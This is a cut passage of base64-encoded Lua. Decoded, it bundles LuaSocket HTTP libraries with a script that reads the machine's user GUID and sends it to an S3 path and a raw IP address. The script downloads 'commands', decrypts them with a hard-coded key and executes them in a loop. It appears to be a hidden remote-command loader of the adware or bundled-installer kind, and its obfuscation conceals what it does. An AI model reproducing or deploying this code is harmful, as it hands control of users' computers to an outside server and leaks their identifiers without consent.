CmVuZAplbHNlCnJldHVybiB0CmVuZAplbmQKZW5kCmVuZAplbmQKZnVuY3Rpb24gc291cmNlLmNh
dCguLi4pCmxvY2FsIGU9by5yZW1vdmUoYXJnLDEpCnJldHVybiBmdW5jdGlvbigpCndoaWxlIGUg
ZG8KbG9jYWwgdCxhPWUoKQppZiB0IHRoZW4gcmV0dXJuIHQgZW5kCmlmIGEgdGhlbiByZXR1cm4g
bmlsLGEgZW5kCmU9by5yZW1vdmUoYXJnLDEpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNpbmsudGFi
bGUoZSkKZT1lIG9ye30KbG9jYWwgdD1mdW5jdGlvbih0LGEpCmlmIHQgdGhlbiBvLmluc2VydChl
LHQpZW5kCnJldHVybiAxCmVuZApyZXR1cm4gdCxlCmVuZApmdW5jdGlvbiBzaW5rLnNpbXBsaWZ5
KHQpCmUuYXNzZXJ0KHQpCnJldHVybiBmdW5jdGlvbihlLGEpCmxvY2FsIGEsZT10KGUsYSkKaWYg
bm90IGEgdGhlbiByZXR1cm4gbmlsLGUgZW5kCnQ9ZSBvciB0CnJldHVybiAxCmVuZAplbmQKZnVu
Y3Rpb24gc2luay5maWxlKGUsYSkKaWYgZSB0aGVuCnJldHVybiBmdW5jdGlvbih0LGEpCmlmIG5v
dCB0IHRoZW4KZTpjbG9zZSgpCnJldHVybiAxCmVsc2UgcmV0dXJuIGU6d3JpdGUodCllbmQKZW5k
CmVsc2UgcmV0dXJuIHNpbmsuZXJyb3IoYSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5k
CmxvY2FsIGZ1bmN0aW9uIHQoKQpyZXR1cm4gMQplbmQKZnVuY3Rpb24gc2luay5udWxsKCkKcmV0
dXJuIHQKZW5kCmZ1bmN0aW9uIHNpbmsuZXJyb3IoZSkKcmV0dXJuIGZ1bmN0aW9uKCkKcmV0dXJu
IG5pbCxlCmVuZAplbmQKZnVuY3Rpb24gc2luay5jaGFpbihhLG8pCmUuYXNzZXJ0KGEgYW5kIG8p
CnJldHVybiBmdW5jdGlvbih0LGkpCmlmIHR+PSIidGhlbgpsb2NhbCBlPWEodCkKbG9jYWwgdD10
IGFuZCIiCndoaWxlIHRydWUgZG8KbG9jYWwgaSxvPW8oZSxpKQppZiBub3QgaSB0aGVuIHJldHVy
biBuaWwsbyBlbmQKaWYgZT09dCB0aGVuIHJldHVybiAxIGVuZAplPWEodCkKZW5kCmVsc2UgcmV0
dXJuIDEgZW5kCmVuZAplbmQKZnVuY3Rpb24gcHVtcC5zdGVwKGUsYSkKbG9jYWwgdCxlPWUoKQps
b2NhbCBvLGE9YSh0LGUpCmlmIHQgYW5kIG8gdGhlbiByZXR1cm4gMQplbHNlIHJldHVybiBuaWws
ZSBvciBhIGVuZAplbmQKZnVuY3Rpb24gcHVtcC5hbGwobyxhLHQpCmUuYXNzZXJ0KG8gYW5kIGEp
CnQ9dCBvciBwdW1wLnN0ZXAKd2hpbGUgdHJ1ZSBkbwpsb2NhbCB0LGU9dChvLGEpCmlmIG5vdCB0
IHRoZW4KaWYgZSB0aGVuIHJldHVybiBuaWwsZQplbHNlIHJldHVybiAxIGVuZAplbmQKZW5kCmVu
ZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbWltZSddPShmdW5jdGlvbiguLi4pCmxvY2FsIG89X0cK
bG9jYWwgZT1yZXF1aXJlKCJsdG4xMiIpCmxvY2FsIHQ9cmVxdWlyZSgibWltZS5jb3JlIikKbG9j
YWwgdD1yZXF1aXJlKCJpbyIpCmxvY2FsIG49cmVxdWlyZSgic3RyaW5nIikKbW9kdWxlKCJtaW1l
IikKZW5jb2RldD17fQpkZWNvZGV0PXt9CndyYXB0PXt9CmxvY2FsIGZ1bmN0aW9uIGEoYSkKcmV0
dXJuIGZ1bmN0aW9uKGUsdCxpKQppZiBvLnR5cGUoZSl+PSJzdHJpbmcidGhlbgplLHQsaT0iZGVm
YXVsdCIsZSx0CmVuZApsb2NhbCBhPWFbZSBvciJuaWwiXQppZiBub3QgYSB0aGVuCm8uZXJyb3Io
InVua25vd24ga2V5ICgiLi5vLnRvc3RyaW5nKGUpLi4iKSIsMykKZWxzZSByZXR1cm4gYSh0LGkp
ZW5kCmVuZAplbmQKZW5jb2RldFsnYmFzZTY0J109ZnVuY3Rpb24oKQpyZXR1cm4gZS5maWx0ZXIu
Y3ljbGUoYjY0LCIiKQplbmQKZW5jb2RldFsncXVvdGVkLXByaW50YWJsZSddPWZ1bmN0aW9uKHQp
CnJldHVybiBlLmZpbHRlci5jeWNsZShxcCwiIiwKKHQ9PSJiaW5hcnkiKWFuZCI9MEQ9MEEib3Ii
XHJcbiIpCmVuZApkZWNvZGV0WydiYXNlNjQnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5j
eWNsZSh1bmI2NCwiIikKZW5kCmRlY29kZXRbJ3F1b3RlZC1wcmludGFibGUnXT1mdW5jdGlvbigp
CnJldHVybiBlLmZpbHRlci5jeWNsZSh1bnFwLCIiKQplbmQKbG9jYWwgZnVuY3Rpb24gdChlKQpp
ZiBlIHRoZW4KaWYgZT09IiJ0aGVuIHJldHVybiInJyIKZWxzZSByZXR1cm4gbi5sZW4oZSllbmQK
ZWxzZSByZXR1cm4ibmlsImVuZAplbmQKd3JhcHRbJ3RleHQnXT1mdW5jdGlvbih0KQp0PXQgb3Ig
NzYKcmV0dXJuIGUuZmlsdGVyLmN5Y2xlKHdycCx0LHQpCmVuZAp3cmFwdFsnYmFzZTY0J109d3Jh
cHRbJ3RleHQnXQp3cmFwdFsnZGVmYXVsdCddPXdyYXB0Wyd0ZXh0J10Kd3JhcHRbJ3F1b3RlZC1w
cmludGFibGUnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5jeWNsZShxcHdycCw3Niw3NikK
ZW5kCmVuY29kZT1hKGVuY29kZXQpCmRlY29kZT1hKGRlY29kZXQpCndyYXA9YSh3cmFwdCkKZnVu
Y3Rpb24gbm9ybWFsaXplKHQpCnJldHVybiBlLmZpbHRlci5jeWNsZShlb2wsMCx0KQplbmQKZnVu
Y3Rpb24gc3R1ZmYoKQpyZXR1cm4gZS5maWx0ZXIuY3ljbGUoZG90LDIpCmVuZAplbmQpCnBhY2th
Z2UucHJlbG9hZFsnc29ja2V0Lmh0dHAnXT0oZnVuY3Rpb24oLi4uKQpsb2NhbCB0PXJlcXVpcmUo
InNvY2tldCIpCmxvY2FsIGg9cmVxdWlyZSgic29ja2V0LnVybCIpCmxvY2FsIGk9cmVxdWlyZSgi
bHRuMTIiKQpsb2NhbCBsPXJlcXVpcmUoIm1pbWUiKQpsb2NhbCBvPXJlcXVpcmUoInN0cmluZyIp
CmxvY2FsIGE9X0cKbG9jYWwgZD1yZXF1aXJlKCJ0YWJsZSIpCm1vZHVsZSgic29ja2V0Lmh0dHAi
KQpUSU1FT1VUPTYwClBPUlQ9ODAKVVNFUkFHRU5UPXQuX1ZFUlNJT04KbG9jYWwgZnVuY3Rpb24g
cihoLGkpCmxvY2FsIG4sYSxzLGUKaT1pIG9ye30KbixlPWg6cmVjZWl2ZSgpCmlmIGUgdGhlbiBy
ZXR1cm4gbmlsLGUgZW5kCndoaWxlIG5+PSIiZG8KYSxzPXQuc2tpcCgyLG8uZmluZChuLCJeKC4t
KTolcyooLiopIikpCmlmIG5vdChhIGFuZCBzKXRoZW4gcmV0dXJuIG5pbCwibWFsZm9ybWVkIHJl
cG9uc2UgaGVhZGVycyJlbmQKYT1vLmxvd2VyKGEpCm4sZT1oOnJlY2VpdmUoKQppZiBlIHRoZW4g
cmV0dXJuIG5pbCxlIGVuZAp3aGlsZSBvLmZpbmQobiwiXiVzIilkbwpzPXMuLm4Kbj1oOnJlY2Vp
dmUoKQppZiBlIHRoZW4gcmV0dXJuIG5pbCxlIGVuZAplbmQKaWYgaVthXXRoZW4gaVthXT1pW2Fd
Li4iLCAiLi5zCmVsc2UgaVthXT1zIGVuZAplbmQKcmV0dXJuIGkKZW5kCnQuc291cmNldFsiaHR0
cC1jaHVua2VkIl09ZnVuY3Rpb24oZSxpKQpyZXR1cm4gYS5zZXRtZXRhdGFibGUoewpnZXRmZD1m
dW5jdGlvbigpcmV0dXJuIGU6Z2V0ZmQoKWVuZCwKZGlydHk9ZnVuY3Rpb24oKXJldHVybiBlOmRp
cnR5KCllbmQKfSx7Cl9fY2FsbD1mdW5jdGlvbigpCmxvY2FsIG4sdD1lOnJlY2VpdmUoKQppZiB0
IHRoZW4gcmV0dXJuIG5pbCx0IGVuZApsb2NhbCBhPWEudG9udW1iZXIoby5nc3ViKG4sIjsuKiIs
IiIpLDE2KQppZiBub3QgYSB0aGVuIHJldHVybiBuaWwsImludmFsaWQgY2h1bmsgc2l6ZSJlbmQK
aWYgYT4wIHRoZW4KbG9jYWwgdCxhLG89ZTpyZWNlaXZlKGEpCmlmIHQgdGhlbiBlOnJlY2VpdmUo
KWVuZApyZXR1cm4gdCxhCmVsc2UKaSx0PXIoZSxpKQppZiBub3QgaSB0aGVuIHJldHVybiBuaWws
dCBlbmQKZW5kCmVuZAp9KQplbmQKdC5zaW5rdFsiaHR0cC1jaHVua2VkIl09ZnVuY3Rpb24oZSkK
cmV0dXJuIGEuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBlOmdldGZkKCll
bmQsCmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gZTpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rp
b24oYSx0LGEpCmlmIG5vdCB0IHRoZW4gcmV0dXJuIGU6c2VuZCgiMFxyXG5cclxuIillbmQKbG9j
YWwgYT1vLmZvcm1hdCgiJVhcclxuIixvLmxlbih0KSkKcmV0dXJuIGU6c2VuZChhLi50Li4iXHJc
biIpCmVuZAp9KQplbmQKbG9jYWwgZT17X19pbmRleD17fX0KZnVuY3Rpb24gb3BlbihpLG4sbykK
bG9jYWwgbz10LnRyeSgobyBvciB0LnRjcCkoKSkKbG9jYWwgZT1hLnNldG1ldGF0YWJsZSh7Yz1v
fSxlKQplLnRyeT10Lm5ld3RyeShmdW5jdGlvbigpZTpjbG9zZSgpZW5kKQplLnRyeShvOnNldHRp
bWVvdXQoVElNRU9VVCkpCmUudHJ5KG86Y29ubmVjdChpLG4gb3IgUE9SVCkpCnJldHVybiBlCmVu
ZApmdW5jdGlvbiBlLl9faW5kZXg6c2VuZHJlcXVlc3RsaW5lKGUsdCkKbG9jYWwgZT1vLmZvcm1h
dCgiJXMgJXMgSFRUUC8xLjFcclxuIixlIG9yIkdFVCIsdCkKcmV0dXJuIHNlbGYudHJ5KHNlbGYu
YzpzZW5kKGUpKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnNlbmRoZWFkZXJzKHQpCmxvY2FsIGU9
IlxyXG4iCmZvciB0LGEgaW4gYS5wYWlycyh0KWRvCmU9dC4uIjogIi4uYS4uIlxyXG4iLi5lCmVu
ZApzZWxmLnRyeShzZWxmLmM6c2VuZChlKSkKcmV0dXJuIDEKZW5kCmZ1bmN0aW9uIGUuX19pbmRl
eDpzZW5kYm9keShuLGUsYSkKZT1lIG9yIGkuc291cmNlLmVtcHR5KCkKYT1hIG9yIGkucHVtcC5z
dGVwCmxvY2FsIG89Imh0dHAtY2h1bmtlZCIKaWYgblsiY29udGVudC1sZW5ndGgiXXRoZW4gbz0i
a2VlcC1vcGVuImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbChlLHQuc2luayhvLHNlbGYu
YyksYSkpCmVuZApmdW5jdGlvbiBlLl9faW5kZXg6cmVjZWl2ZXN0YXR1c2xpbmUoKQpsb2NhbCBl
PXNlbGYudHJ5KHNlbGYuYzpyZWNlaXZlKDUpKQppZiBlfj0iSFRUUC8idGhlbiByZXR1cm4gbmls
LGUgZW5kCmU9c2VsZi50cnkoc2VsZi5jOnJlY2VpdmUoIipsIixlKSkKbG9jYWwgdD10LnNraXAo
MixvLmZpbmQoZSwiSFRUUC8lZColLiVkKiAoJWQlZCVkKSIpKQpyZXR1cm4gc2VsZi50cnkoYS50
b251bWJlcih0KSxlKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnJlY2VpdmVoZWFkZXJzKCkKcmV0
dXJuIHNlbGYudHJ5KHIoc2VsZi5jKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlYm9k
eShuLHMsZSkKcz1zIG9yIGkuc2luay5udWxsKCkKZT1lIG9yIGkucHVtcC5zdGVwCmxvY2FsIHI9
YS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKQpsb2NhbCBoPW5bInRyYW5zZmVyLWVuY29k
aW5nIl0KbG9jYWwgbz0iZGVmYXVsdCIKaWYgaCBhbmQgaH49ImlkZW50aXR5InRoZW4gbz0iaHR0
cC1jaHVua2VkIgplbHNlaWYgYS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKXRoZW4gbz0i
YnktbGVuZ3RoImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbCh0LnNvdXJjZShvLHNlbGYu
YyxyKSwKcyxlKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlMDlib2R5KG4sbyxhKQps
b2NhbCBlPWkuc291cmNlLnJld2luZCh0LnNvdXJjZSgidW50aWwtY2xvc2VkIixzZWxmLmMpKQpl
KG4pCnJldHVybiBzZWxmLnRyeShpLnB1bXAuYWxsKGUsbyxhKSkKZW5kCmZ1bmN0aW9uIGUuX19p
bmRleDpjbG9zZSgpCnJldHVybiBzZWxmLmM6Y2xvc2UoKQplbmQKbG9jYWwgZnVuY3Rpb24gbihl
KQpsb2NhbCBhPWUKaWYgbm90IGUucHJveHkgYW5kIG5vdCBQUk9YWSB0aGVuCmE9ewpwYXRoPXQu
dHJ5KGUucGF0aCwiaW52YWxpZCBwYXRoICduaWwnIiksCnBhcmFtcz1lLnBhcmFtcywKcXVlcnk9
ZS5xdWVyeSwKZnJhZ21lbnQ9ZS5mcmFnbWVudAp9CmVuZApyZXR1cm4gaC5idWlsZChhKQplbmQK
bG9jYWwgZnVuY3Rpb24gcyh0KQpsb2NhbCBlPXQucHJveHkgb3IgUFJPWFkKaWYgZSB0aGVuCmU9
aC5wYXJzZShlKQpyZXR1cm4gZS5ob3N0LGUucG9ydCBvciAzMTI4CmVsc2UKcmV0dXJuIHQuaG9z
dCx0LnBvcnQKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiByKGUpCmxvY2FsIHQ9ewpbInVzZXItYWdl
bnQiXT1VU0VSQUdFTlQsClsiaG9zdCJdPWUuaG9zdCwKWyJjb25uZWN0aW9uIl09ImNsb3NlLCBU
RSIsClsidGUiXT0idHJhaWxlcnMiCn0KaWYgZS51c2VyIGFuZCBlLnBhc3N3b3JkIHRoZW4KdFsi
YXV0aG9yaXphdGlvbiJdPQoiQmFzaWMgIi4uKGwuYjY0KGUudXNlci4uIjoiLi5lLnBhc3N3b3Jk
KSkKZW5kCmZvciBhLGUgaW4gYS5wYWlycyhlLmhlYWRlcnMgb3IgdClkbwp0W28ubG93ZXIoYSld
PWUKZW5kCnJldHVybiB0CmVuZApsb2NhbCBlPXsKaG9zdD0iIiwKcG9ydD1QT1JULApwYXRoPSIv
IiwKc2NoZW1lPSJodHRwIgp9CmxvY2FsIGZ1bmN0aW9uIHUobykKbG9jYWwgZT1vLnVybCBhbmQg
aC5wYXJzZShvLnVybCxlKW9ye30KZm9yIHQsYSBpbiBhLnBhaXJzKG8pZG8gZVt0XT1hIGVuZApp
ZiBlLnBvcnQ9PSIidGhlbiBlLnBvcnQ9ODAgZW5kCnQudHJ5KGUuaG9zdCBhbmQgZS5ob3N0fj0i
IiwKImludmFsaWQgaG9zdCAnIi4uYS50b3N0cmluZyhlLmhvc3QpLi4iJyIpCmUudXJpPW8udXJp
IG9yIG4oZSkKZS5ob3N0LGUucG9ydD1zKGUpCmUuaGVhZGVycz1yKGUpCnJldHVybiBlCmVuZAps
b2NhbCBmdW5jdGlvbiBsKGUsYSx0KQpyZXR1cm4gdC5sb2NhdGlvbiBhbmQKby5nc3ViKHQubG9j
YXRpb24sIiVzIiwiIil+PSIiYW5kCihlLnJlZGlyZWN0fj1mYWxzZSlhbmQKKGE9PTMwMSBvciBh
PT0zMDIpYW5kCihub3QgZS5tZXRob2Qgb3IgZS5tZXRob2Q9PSJHRVQib3IgZS5tZXRob2Q9PSJI
RUFEIikKYW5kKG5vdCBlLm5yZWRpcmVjdHMgb3IgZS5ucmVkaXJlY3RzPDUpCmVuZApsb2NhbCBm
dW5jdGlvbiByKHQsZSkKaWYgdC5tZXRob2Q9PSJIRUFEInRoZW4gcmV0dXJuIG5pbCBlbmQKaWYg
ZT09MjA0IG9yIGU9PTMwNCB0aGVuIHJldHVybiBuaWwgZW5kCmlmIGU+PTEwMCBhbmQgZTwyMDAg
dGhlbiByZXR1cm4gbmlsIGVuZApyZXR1cm4gMQplbmQKbG9jYWwgbixzCmZ1bmN0aW9uIHMoZSx0
KQpsb2NhbCBpLGEsZSxvPW57CnVybD1oLmFic29sdXRlKGUudXJsLHQpLApzb3VyY2U9ZS5zb3Vy
Y2UsCnNpbms9ZS5zaW5rLApoZWFkZXJzPWUuaGVhZGVycywKcHJveHk9ZS5wcm94eSwKbnJlZGly
ZWN0cz0oZS5ucmVkaXJlY3RzIG9yIDApKzEsCmNyZWF0ZT1lLmNyZWF0ZQp9CmU9ZSBvcnt9CmUu
bG9jYXRpb249ZS5sb2NhdGlvbiBvciB0CnJldHVybiBpLGEsZSxvCmVuZApmdW5jdGlvbiBuKG4p
CmxvY2FsIGU9dShuKQpsb2NhbCB0PW9wZW4oZS5ob3N0LGUucG9ydCxlLmNyZWF0ZSkKdDpzZW5k
cmVxdWVzdGxpbmUoZS5tZXRob2QsZS51cmkpCnQ6c2VuZGhlYWRlcnMoZS5oZWFkZXJzKQppZiBl
LnNvdXJjZSB0aGVuCnQ6c2VuZGJvZHkoZS5oZWFkZXJzLGUuc291cmNlLGUuc3RlcCkKZW5kCmxv
Y2FsIGEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKaWYgbm90IGEgdGhlbgp0OnJlY2VpdmUwOWJv
ZHkoaSxlLnNpbmssZS5zdGVwKQpyZXR1cm4gMSwyMDAKZW5kCmxvY2FsIG8Kd2hpbGUgYT09MTAw
IGRvCm89dDpyZWNlaXZlaGVhZGVycygpCmEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKZW5kCm89
dDpyZWNlaXZlaGVhZGVycygpCmlmIGwoZSxhLG8pYW5kIG5vdCBlLnNvdXJjZSB0aGVuCnQ6Y2xv
c2UoKQpyZXR1cm4gcyhuLG8ubG9jYXRpb24pCmVuZAppZiByKGUsYSl0aGVuCnQ6cmVjZWl2ZWJv
ZHkobyxlLnNpbmssZS5zdGVwKQplbmQKdDpjbG9zZSgpCnJldHVybiAxLGEsbyxpCmVuZApsb2Nh
bCBmdW5jdGlvbiBoKGUsYSkKbG9jYWwgcz17fQpsb2NhbCBlPXsKdXJsPWUsCnNpbms9aS5zaW5r
LnRhYmxlKHMpCn0KaWYgYSB0aGVuCmUuc291cmNlPWkuc291cmNlLnN0cmluZyhhKQplLmhlYWRl
cnM9ewpbImNvbnRlbnQtbGVuZ3RoIl09by5sZW4oYSksClsiY29udGVudC10eXBlIl09ImFwcGxp
Y2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIKfQplLm1ldGhvZD0iUE9TVCIKZW5kCmxvY2Fs
IGUsYSx0PXQuc2tpcCgxLG4oZSkpCnJldHVybiBkLmNvbmNhdChzKSxlLGEsdAplbmQKcmVxdWVz
dD10LnByb3RlY3QoZnVuY3Rpb24oZSx0KQppZiBhLnR5cGUoZSk9PSJzdHJpbmcidGhlbiByZXR1
cm4gaChlLHQpCmVsc2UgcmV0dXJuIG4oZSllbmQKZW5kKQplbmQpCmxvY2FsIGU9cmVxdWlyZSgi
c29ja2V0Lmh0dHAiKTsKbG9jYWwgZT1yZXF1aXJlKCJjb21tb24iKTsKSlNPTj1yZXF1aXJlKCJK
U09OIik7CmU9ZS5uZXcoKTsKbG9jYWwgdD0oR2V0VXNlckd1aWQpYW5kIEdldFVzZXJHdWlkKClv
ciIiOwp0PXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDks
MTIpLHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKbG9jYWwgaT0oQ2hlY2tB
cmcpYW5kIENoZWNrQXJnKCJzb3VyY2UiKW9yIiI7CmxvY2FsIGE9KENoZWNrQXJnKWFuZCBDaGVj
a0FyZygib3B0aW9ucyIpb3IiIjsKbG9jYWwgcz0oYTpzdWIoNSw1KT09IjEiKWFuZCJwcm9kdWN0
aW9uIm9yImRldmVsb3BtZW50IjsKbG9jYWwgbz0oYX49IiIpYW5kIHN0cmluZy5mb3JtYXQoIiVz
IixhOnN1Yig4LDEwKSlvciI5OTkiOwpsb2NhbCBjPXRydWU7CmxvY2FsIG49IiI7CmxvY2FsIG89
c3RyaW5nLmZvcm1hdCgiaHR0cDovL3MzLmFtYXpvbmF3cy5jb20vY2RuLmFkcGsuY29tLyVzLyVz
L2NvbW1hbmRzLmRhdD9nPSVzJnM9JXMiLG8sYTpzdWIoNSw1KSxzdHJpbmcudXBwZXIodCksaSk7
CmxvY2FsIG49b3MudGltZSgpLTcwMDsKbG9jYWwgYT0iNmM2MTcxNzU2MTZlNjQ2MTc3NjE3NDZi
Njk2ZTczNzI2NTZkNmY3NDY1NjQ2MjBhIjsKbG9jYWwgaD0iMSI7CmxvY2FsIHQ9c3RyaW5nLmZv
cm1hdCgiaHR0cDovLzU0LjIyMS4xMzIuMjIwL2V1Lmpzb24/Zz0lcyZzPSVzIixzdHJpbmcudXBw
ZXIodCksaSk7CmlmIEdldFRpbWVMYXN0Q21kfj1uaWwgdGhlbgpuPUdldFRpbWVMYXN0Q21kKCk7
CmlmIG49PTAgdGhlbgpTZXRUaW1lTGFzdENtZChvcy50aW1lKCkpOwplbmQKZW5kCmUuZGVidWco
c3RyaW5nLmZvcm1hdCgiPT09PT09PT09PT09PT09PT09PT09PT09PSBWRVJTSU9OICVzICVzICVz
ID09PT09PT09PT09PT09PT09PT09PT09PT0iLEdldFZlcnNpb24oKSxzLG9zLnRpbWUoKS1uKSk7
CmZ1bmN0aW9uIEpTT046b25EZWNvZGVFcnJvcihhLHQsbyxpKQplLmRlYnVnKHN0cmluZy5mb3Jt
YXQoIkpTT04gRGVjb2RlIEVycm9yIE1lc3NhZ2U6ICVzICVzICVzIixhLG8sdCkpOwplbmQKaWYo
b3MudGltZSgpLW4pPjYwMCB0aGVuCmxvY2FsIGksdD1lLmdldGJ5aHR0cCh0KTsKaWYgU2V0VGlt
ZUxhc3RDbWR+PW5pbCB0aGVuClNldFRpbWVMYXN0Q21kKG9zLnRpbWUoKSk7CmVuZAppZiBzdHJp
bmcuZmluZCh0LCJodG1sIilvciBzdHJpbmcuZmluZCh0LCJzdGF0dXMiKW9yIHQ9PW5pbCBvciB0
PT0iInRoZW4KaSxzUmVtb3RlREI9ZS5nZXRieWh0dHAobyk7CmlmIHNSZW1vdGVEQn49bmlsIHRo
ZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgKCVzKSByZXRyaWV2ZWQg
ZnJvbSAlcyBzdWNjZXNzZnVsbHkiLCNzUmVtb3RlREIsbykpOwpzUmVtb3RlREI9KEVuY3J5cHQp
YW5kIEVuY3J5cHQoc1JlbW90ZURCLGEpb3IgZS5lbmNyeXB0KHNSZW1vdGVEQixhKTsKbG9jYWwg
ZT1KU09OOmRlY29kZShzUmVtb3RlREIpOwpyZW1vdGVkYl9qc29uPWU7CmVsc2UKZS5kZWJ1Zyhz
dHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gJXMgdW5zdWNjZXNz
ZnVsbHkiLG8pKTsKZW5kCmVsc2UKaWYgc1JlbW90ZURCPT1uaWwgdGhlbgpyZXR1cm4gZmFsc2U7
CmVsc2UKc1JlbW90ZURCPShFbmNyeXB0KWFuZCBFbmNyeXB0KHNSZW1vdGVEQixhKW9yIGUuZW5j
cnlwdChzUmVtb3RlREIsYSk7CmxvY2FsIHQ9SlNPTjpkZWNvZGUoc1JlbW90ZURCKTsKcmVtb3Rl
ZGJfanNvbj10OwplLmRlYnVnKCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gZXhjZXB0
aW9ucyBzdWNjZXNzZnVsbHkiKTsKZW5kCmVuZAplbmQKbG9jYWwgdDsKaWYgR2V0Q29tbWFuZHN+
PW5pbCB0aGVuCnQ9R2V0Q29tbWFuZHMoKTsKZWxzZQp0PWUucmVhZGZpbGUoc3RyaW5nLmZvcm1h
dCgiJXNscXdkYi5kYXQiLGUudGVtcHBhdGgoKSkpOwplbmQKbG9jYWwgYT0iIjsKaWYgdH49bmls
IHRoZW4KdD0oRW5jcnlwdClhbmQgRW5jcnlwdCh0LCJsYXF1YW5kYSB3YXRraW5zIilvciBlLmVu
Y3J5cHQodCwibGFxdWFuZGEgd2F0a2lucyIpOwphPUpTT046ZGVjb2RlKHQpOwplbHNlCmE9cmVt
b3RlZGJfanNvbjsKZW5kCmlmIHQ9PW5pbCB0aGVuCmlmIHR5cGUoYSk9PSJ0YWJsZSJ0aGVuCmUu
c2F2ZWRiKEpTT046ZW5jb2RlKGEpKTsKZWxzZQpyZXR1cm4gZmFsc2U7CmVuZAplbmQKbG9jYWwg
aT17fTsKaWYgYX49bmlsIGFuZCByZW1vdGVkYl9qc29ufj1uaWwgdGhlbgpmb3IgdCxlIGluIHBh
aXJzKGEpZG8KbG9jYWwgYT1mYWxzZTsKZm9yIG8sdCBpbiBwYWlycyhyZW1vdGVkYl9qc29uKWRv
CmlmIGVbImhhc2giXT09dFsiaGFzaCJddGhlbgpsb2NhbCBvPShlWyJyZXN1bHQiXX49bmlsKWFu
ZCBlWyJyZXN1bHQiXW9yIG5pbDsKaWYgZVsiZGF0ZSJdfj1uaWwgdGhlbgpsb2NhbCBhPWVbImRh
dGUiXTsKbG9jYWwgaT1lWyJzdGF0dXMiXTsKZT10OwplWyJzdGF0dXMiXT1pOwplWyJkYXRlIl09
YTsKZVsicmVzdWx0Il09bzsKZWxzZQplPXQ7CmVbInJlc3VsdCJdPW87CmVuZAphPXRydWU7CmVu
ZAplbmQKaWYgYSB0aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmZvciB0LGUgaW4gcGFp
cnMocmVtb3RlZGJfanNvbilkbwpsb2NhbCB0PWZhbHNlOwpmb3IgbyxhIGluIHBhaXJzKGEpZG8K
aWYgZVsiaGFzaCJdPT1hWyJoYXNoIl10aGVuCnQ9dHJ1ZTsKZW5kCmVuZAppZiB0PT1mYWxzZSB0
aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmE9ZS5zaGFsbG93Y29weShpKTsKaT17fTsK
ZW5kCnRhYmxlLnNvcnQoYSxmdW5jdGlvbih0LGUpcmV0dXJuIHRvbnVtYmVyKHQub3JkZXIpPHRv
bnVtYmVyKGUub3JkZXIpO2VuZCk7CmxvY2FsIHI9dHJ1ZTsKbG9jYWwgaD10cnVlOwpsb2NhbCBk
PWZhbHNlOwpsb2NhbCBsPXt9Owpsb2NhbCBvPTA7CmxvY2FsIHM9e307CmZ1bmN0aW9uIGRvR290
byhlLHQpCmZvciBhLGUgaW4gcGFpcnMoYSlkbwppZiB0PD10b251bWJlcihlWyJvcmRlciJdKXRo
ZW4KZVsic3RhdHVzIl09IjAiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uaWw7
CmVsc2VpZiB0PnRvbnVtYmVyKGVbIm9yZGVyIl0pdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRh
dGUiXT1vcy50aW1lKCk7CmVuZAplbmQKZW5kCndoaWxlKGgpZG8KaT17fTsKaD1mYWxzZTsKZm9y
IHUsdCBpbiBwYWlycyhhKWRvCmlmIG8+MCB0aGVuCmRvR290byhhLG8pOwppZiBvPT10b251bWJl
cih0WyJvcmRlciJdKXRoZW4Kbz0wOwplbHNlCnRbInN0YXR1cyJdPSIxIjsKZW5kCmVuZApsb2Nh
bCB1PSh0WyJzdGF0dXMiXX49bmlsKWFuZCB0WyJzdGF0dXMiXW9yIjAiOwplLmRlYnVnKHN0cmlu
Zy5mb3JtYXQoIiMlcy0lcy4gJXMgJXMgU3RhdHVzOiAlcyBMb29wOiAlcyBHbzogJXMiLHRbIm9y
ZGVyIl0sbyx0WyJ0eHRjbWQiXSx0WyJ0eHRkbyJdLHUsdG9zdHJpbmcociksdG9zdHJpbmcoaCkp
KTsKaWYgdT09IjAiYW5kIHIgdGhlbgplLmRlYnVnKCJJbnNpZGUgTWFpbiBMb29wIik7CmlmIHRb
InR4dGRvIl09PSJHb3RvInRoZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJHb3RvIGNvbW1hbmQ6
ICVzIix0WyJ0eHRXaGF0Il0pKTsKbG9jYWwgZT10b251bWJlcih0WyJ0eHRXaGF0Il0pOwppZiBl
PjAgdGhlbgpkb0dvdG8oYSxlKTsKZG9Hb3RvKGksZSk7Cm89ZTsKZW5kCmVsc2UKZS5zZXRyZXN1
bHRzKGwpOwp0LGQ9ZS5jb21tYW5kKHQpOwppZiB0WyJ0eHRjbWQiXT09IklmInRoZW4KaWYgdFsi
